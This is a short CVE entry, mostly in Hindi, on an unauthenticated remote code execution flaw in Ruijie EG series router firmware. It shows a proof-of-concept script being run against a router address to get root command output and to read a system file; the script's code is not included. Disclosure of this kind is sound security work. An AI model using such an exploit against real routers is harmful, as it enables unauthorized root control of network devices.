CVE-2023-48849

Ruijie EG सीरीज़ राउटर का फर्मवेयर <=EG_3.0(1)B11P216 गलत फ़िल्टरिंग के कारण अप्रमाणित हमलावरों को दूरस्थ रूप से मनमाना कोड निष्पादित करने की अनुमति देता है।

$ python3 poc.py 192.168.1.1 'id'
uid=0(root) gid=0(root)
$ python3 poc.py 192.168.1.1 'grep TARGET /etc/openwrt_release'
DISTRIB_TARGET='mediatek/eg310gh-e'

डेमो